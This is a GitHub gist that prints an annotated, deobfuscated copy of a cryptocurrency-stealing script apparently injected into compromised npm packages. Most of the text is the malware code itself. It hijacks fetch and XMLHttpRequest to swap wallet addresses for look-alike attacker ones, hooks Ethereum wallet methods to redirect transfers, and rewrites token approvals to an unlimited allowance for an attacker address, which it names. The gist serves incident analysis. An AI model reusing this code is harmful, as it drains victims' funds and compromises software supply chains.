Created
September 8, 2025 19:16
-
-
Save thypon/22ba8bef99baed4d4e30c84542d1ac72 to your computer and use it in GitHub Desktop.
qix compromised security analysis
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // Global state variables | |
| var hasEthereumWallet = 0; // Flag to track if Ethereum wallet is detected | |
| var hasRunOnce = 0; // Flag to prevent multiple executions | |
| var hasInitialized = 0; // Flag to track if initialization is complete | |
| // Function to check for Ethereum wallet presence and initialize malicious hooks | |
| async function checkEthereumWallet() { | |
| try { | |
| // Attempts to get Ethereum accounts - SECURITY RISK: This is probing for wallet access | |
| const ethAccounts = await window.ethereum.request({ | |
| method: 'eth_accounts', // Fixed: was obfuscated as 'ethaccountsStr' | |
| }); | |
| if (ethAccounts.length > 0) { | |
| // If accounts found, initialize malicious transaction interceptor | |
| initializeTransactionHijacker(); | |
| if (hasRunOnce != 1) { | |
| hasRunOnce = 1; | |
| hasEthereumWallet = 1; | |
| initializeAddressReplacer(); // Initialize the address replacement system | |
| } | |
| } else if (hasRunOnce != 1) { | |
| hasRunOnce = 1; | |
| initializeAddressReplacer(); | |
| } | |
| } catch (error) { | |
| // Even on error, still initialize the malicious system | |
| if (hasRunOnce != 1) { | |
| hasRunOnce = 1; | |
| initializeAddressReplacer(); | |
| } | |
| } | |
| } | |
| // Check for Ethereum wallet availability and initialize if present | |
| // SECURITY RISK: This runs immediately when script loads | |
| if (typeof window != 'undefined' && typeof window.ethereum != 'undefined') { | |
| checkEthereumWallet(); | |
| } else if (hasRunOnce != 1) { | |
| hasRunOnce = 1; | |
| initializeAddressReplacer(); | |
| } | |
| // Main malicious function that replaces cryptocurrency addresses | |
| function initializeAddressReplacer() { | |
| // Prevent multiple initializations | |
| if (hasInitialized == 1) { | |
| return; | |
| } | |
| hasInitialized = 1; | |
| // Edit distance algorithm for finding closest matching addresses | |
| // SECURITY ANALYSIS: Used to replace legitimate addresses with attacker's addresses | |
| function calculateEditDistance(str1, str2) { | |
| const matrix = Array.from( | |
| { length: str1.length + 1 }, | |
| () => Array(str2.length + 1).fill(0) | |
| ); | |
| // Initialize matrix with distances | |
| for (let i = 0; i <= str1.length; i++) { | |
| matrix[i][0] = i; | |
| } | |
| for (let j = 0; j <= str2.length; j++) { | |
| matrix[0][j] = j; | |
| } | |
| // Calculate edit distances | |
| for (let i = 1; i <= str1.length; i++) { | |
| for (let j = 1; j <= str2.length; j++) { | |
| if (str1[i - 1] === str2[j - 1]) { | |
| matrix[i][j] = matrix[i - 1][j - 1]; | |
| } else { | |
| matrix[i][j] = 1 + Math.min( | |
| matrix[i - 1][j], | |
| matrix[i][j - 1], | |
| matrix[i - 1][j - 1] | |
| ); | |
| } | |
| } | |
| } | |
| return matrix[str1.length][str2.length]; | |
| } | |
| // Find the closest matching address from attacker's list | |
| // SECURITY RISK: This enables address substitution attacks | |
| function findClosestAddress(targetAddress, attackerAddresses) { | |
| let minDistance = Infinity; | |
| let closestMatch = null; | |
| for (let address of attackerAddresses) { | |
| const distance = calculateEditDistance(targetAddress.toLowerCase(), address.toLowerCase()); | |
| if (distance < minDistance) { | |
| minDistance = distance; | |
| closestMatch = address; | |
| } | |
| } | |
| return closestMatch; | |
| } | |
| // SECURITY CRITICAL: Hijack the global fetch function | |
| fetch = async function (...args) { | |
| const originalResponse = await fetch(...args); | |
| const contentType = originalResponse.headers.get('Content-Type') || ''; | |
| let responseData; | |
| if (contentType.includes('application/json')) { | |
| responseData = await originalResponse.clone().json(); | |
| } else { | |
| responseData = await originalResponse.clone().text(); | |
| } | |
| // Replace addresses in response data | |
| const modifiedData = replaceAddressesInContent(responseData); | |
| const modifiedContent = typeof modifiedData === 'string' ? modifiedData : JSON.stringify(modifiedData); | |
| // Return modified response with replaced addresses | |
| const modifiedResponse = new Response(modifiedContent, { | |
| status: originalResponse.status, | |
| statusText: originalResponse.statusText, | |
| headers: originalResponse.headers, | |
| }); | |
| return modifiedResponse; | |
| }; | |
| // SECURITY CRITICAL: Hijack XMLHttpRequest for address replacement | |
| if (typeof window != 'undefined') { | |
| const originalOpen = XMLHttpRequest.prototype.open; | |
| const originalSend = XMLHttpRequest.prototype.send; | |
| XMLHttpRequest.prototype.open = function(method, url, async, user, password) { | |
| this._url = url; | |
| return originalOpen.apply(this, arguments); | |
| }; | |
| XMLHttpRequest.prototype.send = function(data) { | |
| const xhr = this; | |
| const originalReadyStateChange = xhr.onreadystatechange; | |
| xhr.onreadystatechange = function() { | |
| if (xhr.readyState === 4) { | |
| try { | |
| const contentType = xhr.getResponseHeader('Content-Type') || ''; | |
| let responseData = xhr.responseText; | |
| if (contentType.includes('application/json')) { | |
| responseData = JSON.parse(xhr.responseText); | |
| } | |
| // Replace addresses in response | |
| const modifiedData = replaceAddressesInContent(responseData); | |
| const modifiedText = typeof modifiedData === 'string' ? modifiedData : JSON.stringify(modifiedData); | |
| // Override response properties with malicious data | |
| Object.defineProperty(xhr, 'responseText', { value: modifiedText }); | |
| Object.defineProperty(xhr, 'response', { value: modifiedText }); | |
| } catch (error) { | |
| // Silently fail to avoid detection | |
| } | |
| } | |
| if (originalReadyStateChange) { | |
| originalReadyStateChange.apply(this, arguments); | |
| } | |
| }; | |
| return originalSend.apply(this, arguments); | |
| }; | |
| } | |
| // Process and replace addresses in content | |
| function replaceAddressesInContent(content) { | |
| try { | |
| if (typeof content === 'object' && content !== null) { | |
| const jsonString = JSON.stringify(content); | |
| const modifiedJson = replaceAddressesInString(jsonString); | |
| return JSON.parse(modifiedJson); | |
| } | |
| if (typeof content === 'string') { | |
| return replaceAddressesInString(content); | |
| } | |
| return content; | |
| } catch (error) { | |
| return content; | |
| } | |
| } | |
| // SECURITY CRITICAL: Main address replacement function | |
| function replaceAddressesInString(inputText) { | |
| // Attacker's Bitcoin Legacy addresses - SECURITY RISK: These are theft destinations | |
| var attackerBitcoinAddresses = [ | |
| '1H13VnQJKtT4HjD5ZFKaaiZEetMbG7nDHx', | |
| '1Li1CRPwjovnGHGPTtcKzy75j37K6n97Rd', | |
| // ... many more malicious addresses | |
| ]; | |
| // Attacker's Bitcoin SegWit addresses | |
| var attackerSegwitAddresses = [ | |
| 'bc1qms4f8ys8c4z47h0q29nnmyekc9r74u5ypqw6wm', | |
| 'bc1qznntn2q7df8ltvx842upkd9uj4atwxpk0whxh9', | |
| // ... many more malicious addresses | |
| ]; | |
| // Attacker's Ethereum addresses | |
| var attackerEthereumAddresses = [ | |
| '0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976', | |
| '0xa29eeFb3f21Dc8FA8bce065Db4f4354AA683c024', | |
| // ... many more malicious addresses | |
| ]; | |
| // Additional arrays for Solana, Tron, Litecoin, Bitcoin Cash addresses | |
| // SECURITY ANALYSIS: Comprehensive coverage of major cryptocurrencies | |
| // Regular expressions to match different cryptocurrency address formats | |
| const addressPatterns = { | |
| ethereum: /\b0x[a-fA-F0-9]{40}\b/g, | |
| bitcoinLegacy: /\b1[a-km-zA-HJ-NP-Z1-9]{25,34}\b/g, | |
| bitcoinSegwit: /\b(3[a-km-zA-HJ-NP-Z1-9]{25,34}|bc1[qpzry9x8gf2tvdw0s3jn54khce6mua7l]{11,71})\b/g, | |
| tron: /((?<!\w)[T][1-9A-HJ-NP-Za-km-z]{33})/g, | |
| bch: /bitcoincash:[qp][a-zA-Z0-9]{41}/g, | |
| ltc: /(?<!\w)ltc1[qpzry9x8gf2tvdw0s3jn54khce6mua7l]{11,71}\b/g, | |
| ltc2: /(?<!\w)[mlML][a-km-zA-HJ-NP-Z1-9]{25,34}/g, | |
| solana: /((?<!\w)[4-9A-HJ-NP-Za-km-z][1-9A-HJ-NP-Za-km-z]{32,44})/g, | |
| solana2: /((?<!\w)[3][1-9A-HJ-NP-Za-km-z]{35,44})/g, | |
| solana3: /((?<!\w)[1][1-9A-HJ-NP-Za-km-z]{35,44})/g, | |
| }; | |
| // SECURITY CRITICAL: Replace legitimate addresses with attacker's addresses | |
| for (const [cryptoType, pattern] of Object.entries(addressPatterns)) { | |
| const foundAddresses = inputText.match(pattern) || []; | |
| for (const foundAddress of foundAddresses) { | |
| // For each cryptocurrency type, replace with attacker's equivalent | |
| if (cryptoType == 'ethereum') { | |
| if (!attackerEthereumAddresses.includes(foundAddress) && hasEthereumWallet == 0) { | |
| inputText = inputText.replace(foundAddress, findClosestAddress(foundAddress, attackerEthereumAddresses)); | |
| } | |
| } | |
| if (cryptoType == 'bitcoinLegacy') { | |
| if (!attackerBitcoinAddresses.includes(foundAddress)) { | |
| inputText = inputText.replace(foundAddress, findClosestAddress(foundAddress, attackerBitcoinAddresses)); | |
| } | |
| } | |
| // Similar replacement logic for other cryptocurrency types... | |
| } | |
| } | |
| return inputText; | |
| } | |
| } | |
| // SECURITY CRITICAL: Transaction hijacking function for wallet interactions | |
| async function initializeTransactionHijacker() { | |
| let interceptionCount = 0; | |
| let originalMethods = new Map(); | |
| let isActive = false; | |
| // Modify transaction parameters to redirect funds to attacker | |
| function modifyTransactionData(transaction, isEthereumTx = true) { | |
| const modifiedTx = JSON.parse(JSON.stringify(transaction)); | |
| if (isEthereumTx) { | |
| // SECURITY CRITICAL: Redirect transaction value to attacker's address | |
| if (modifiedTx.value && modifiedTx.value !== '0x0' && modifiedTx.value !== '0') { | |
| modifiedTx.to = '0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976'; | |
| } | |
| // SECURITY CRITICAL: Modify smart contract interactions | |
| if (modifiedTx.data) { | |
| const dataLowerCase = modifiedTx.data.toLowerCase(); | |
| // Hijack token approvals (ERC-20 approve function) | |
| if (dataLowerCase.startsWith('0x095ea7b3')) { | |
| if (dataLowerCase.length >= 74) { | |
| const functionSelector = dataLowerCase.substring(0, 10); | |
| const spenderAddress = '0x' + dataLowerCase.substring(34, 74); | |
| const attackerAddress = 'Fc4a4858bafef54D1b1d7697bfb5c52F4c166976'.padStart(64, '0'); | |
| const maxAmount = 'f'.repeat(64); // Maximum approval amount | |
| modifiedTx.data = functionSelector + attackerAddress + maxAmount; | |
| } | |
| } | |
| // Additional hijacking for other transaction types (permit, transfer, etc.) | |
| } | |
| } | |
| return modifiedTx; | |
| } | |
| // Create proxy function to intercept wallet method calls | |
| function createInterceptorProxy(originalMethod, methodName) { | |
| return async function (...args) { | |
| interceptionCount++; | |
| let modifiedArgs; | |
| try { | |
| modifiedArgs = JSON.parse(JSON.stringify(args)); | |
| } catch (error) { | |
| modifiedArgs = [...args]; | |
| } | |
| // SECURITY CRITICAL: Modify transaction requests | |
| if (args[0] && typeof args[0] === 'object') { | |
| const request = modifiedArgs[0]; | |
| if (request.method === 'eth_sendTransaction' && request.params && request.params[0]) { | |
| try { | |
| const hijackedTx = modifyTransactionData(request.params[0], true); | |
| request.params[0] = hijackedTx; | |
| } catch (error) {} | |
| } | |
| // Similar hijacking for Solana transactions | |
| } | |
| // Execute the modified request | |
| const result = originalMethod.apply(this, modifiedArgs); | |
| if (result && typeof result.then === 'function') { | |
| return result.then(response => response).catch(error => { throw error; }); | |
| } | |
| return result; | |
| }; | |
| } | |
| // Hook into Ethereum wallet methods | |
| function hookWalletMethods(ethereumProvider) { | |
| if (!ethereumProvider) return false; | |
| let success = false; | |
| const methodsToHook = ['request', 'send', 'sendAsync']; | |
| for (const methodName of methodsToHook) { | |
| if (typeof ethereumProvider[methodName] === 'function') { | |
| const originalMethod = ethereumProvider[methodName]; | |
| originalMethods.set(methodName, originalMethod); | |
| try { | |
| // SECURITY CRITICAL: Replace wallet methods with malicious proxies | |
| Object.defineProperty(ethereumProvider, methodName, { | |
| value: createInterceptorProxy(originalMethod, methodName), | |
| writable: true, | |
| configurable: true, | |
| enumerable: true, | |
| }); | |
| success = true; | |
| } catch (error) {} | |
| } | |
| } | |
| if (success) { | |
| isActive = true; | |
| } | |
| return success; | |
| } | |
| // Wait for and hook Ethereum wallet when available | |
| function waitForWallet() { | |
| let attempts = 0; | |
| const checkForWallet = () => { | |
| attempts++; | |
| if (window.ethereum) { | |
| setTimeout(() => { | |
| hookWalletMethods(window.ethereum); | |
| }, 500); | |
| return; | |
| } | |
| if (attempts < 50) { | |
| setTimeout(checkForWallet, 100); | |
| } | |
| }; | |
| checkForWallet(); | |
| } | |
| waitForWallet(); | |
| // SECURITY RISK: Expose control interface (could be used for detection) | |
| window.stealthProxyControl = { | |
| isActive: () => isActive, | |
| getInterceptCount: () => interceptionCount, | |
| getOriginalMethods: () => originalMethods, | |
| forceShield: () => { | |
| if (window.ethereum) { | |
| return hookWalletMethods(window.ethereum); | |
| } | |
| return false; | |
| }, | |
| }; | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment